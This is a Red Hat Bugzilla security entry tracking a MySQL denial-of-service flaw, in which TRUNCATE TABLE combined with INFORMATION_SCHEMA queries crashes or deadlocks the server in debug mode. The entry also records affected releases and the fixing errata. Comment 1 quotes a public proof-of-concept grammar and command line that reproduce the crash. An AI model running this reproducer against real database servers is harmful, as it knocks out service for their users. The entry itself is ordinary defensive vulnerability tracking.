Bug 717944

Summary: mysql: DoS (crash, deadlock) by issuing TRUNCATE TABLE and examining particular table information in debug mode on certain engines (MySQL bug#54678)
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: low Docs Contact:
Priority: low    
Version: unspecifiedCC: byte, tgl
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2012-02-14 14:20:11 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Bug Depends On:    
Bug Blocks: 717721    

Description Jan Lieskovsky 2011-06-30 13:10:06 UTC 
It was found that MySQL server did not properly handle certain TRUNCATE TABLE statements, which simultaneously examined the particular table's information in the INFORMATION_SCHEMA database, when the debug mode was applied and storage engine, which does not support truncate table via a external drop and recreate, was used. A remote attacker, valid SQL user could use this flaw to cause denial of service (mysqld daemon crash or deadlock).

References:
[1] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-52.html
[2] http://bugs.mysql.com/bug.php?id=54678
[3] http://lists.mysql.com/commits/119465

Note:
On Red Hat Enterprise Linux systems exploitation of this issue would lead only to temporary denial of service, since mysqld daemon gets automatically restarted upon encountering a crash.
Comment 1 Jan Lieskovsky 2011-06-30 13:16:18 UTC 
Public PoC from [2]:
====================

How to repeat:
1.yy:
-----
ddl:
        ALTER TABLE t1 ENGINE = InnoDB |
        TRUNCATE TABLE t1 ;

query:
        SELECT * FROM information_schema . tables WHERE table_schema = TRIM(' test ') AND
table_name = TRIM(' t1 ') |
        ddl;

query_init:
        CREATE TABLE IF NOT EXISTS t1 (col1 BIGINT, col2 BIGINT);

1.zz (content is not important):
--------------------------------
$tables = {
        # rows => [0, 1, 10 ],
        rows => [0, 1 ],
        pk => [ 'int' , 'int auto_increment' ]
};

$fields = {
        types => [ 'int' ],
        indexes => [ 'key', undef ]
};

$data = {
        numbers => [ 'digit', 'null', undef ],
        strings => [ 'letter', 'english' ],
        blobs => [ 'data' ],
        temporals => ['date', 'year', 'null', undef ]
}

My commandline:
----------------
nice -20 perl runall.pl --gendata=1.zz --duration=200 \
--queries=3000 --reporter=Deadlock,Backtrace,Shutdown \
 --basedir=/data0/mleich/repo/mysql-trunk-runtime/ \
--mysqld=--lock-wait-timeout=1 \
--mysqld=--innodb-lock-wait-timeout=2 \
--mysqld=--log-output=none --mysqld=--secure-file-priv=/tmp/ \
--mysqld=--loose-innodb-lock-wait-timeout=2 \
--grammar=1.yy --vardir=/dev/shm/var_1276601155 \
--seed=352 --threads=32
Comment 3 Jan Lieskovsky 2011-06-30 13:19:24 UTC 
This issue did NOT affect the version of the mysql package, as shipped with
Red Hat Enterprise Linux 4.

--

This issue affects the versions of the mysql package, as shipped with 
Red Hat Enterprise Linux 5 and 6.

--

This issue affects the versions of the mysql package, as shipped with
Fedora release of 14 and 15.
Comment 5 Jan Lieskovsky 2011-07-11 15:50:22 UTC 
The original fix for this issue has been found to be incomplete:
[4] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-53.html

From [4]:

InnoDB Storage Engine: A followup fix to bug #54678. TRUNCATE TABLE could still cause a crash (assertion error) in the debug version of the server. (Bug #57700)

[5] http://bugs.mysql.com/bug.php?id=57700
Comment 6 Tom Lane 2011-07-11 16:15:49 UTC 
Hmm ... although the changelog entry for their bug 57700 makes it sound like it only affects debug versions of the server (which would exclude RHEL's build), the actual problem is an incorrect order of taking locks.  That seems like it could potentially result in deadlocks against other threads.  I don't see a security component to that, but it still might be something we feel is important to get fixed.
Comment 7 Jan Lieskovsky 2012-02-14 14:20:11 UTC 
(In reply to comment #3)
> 
> This issue affects the versions of the mysql package, as shipped with 
> Red Hat Enterprise Linux 5 and 6.
> 

The mysql package in Red Hat Enterprise Linux 5 has been upgraded to version 5.0.95 via RHSA-2012:0127 security advisory: https://rhn.redhat.com/errata/RHSA-2012-0127.html, and therefore this issue has been addressed in Red Hat Enterprise Linux 5 too.

--

The mysql package in Red Hat Enterprise Linux 6 has been upgraded to version 5.1.61 via RHSA-2012:0105 security advisory: https://rhn.redhat.com/errata/RHSA-2012-0105.html, and therefore this issue has been addressed in Red Hat Enterprise Linux 6 too.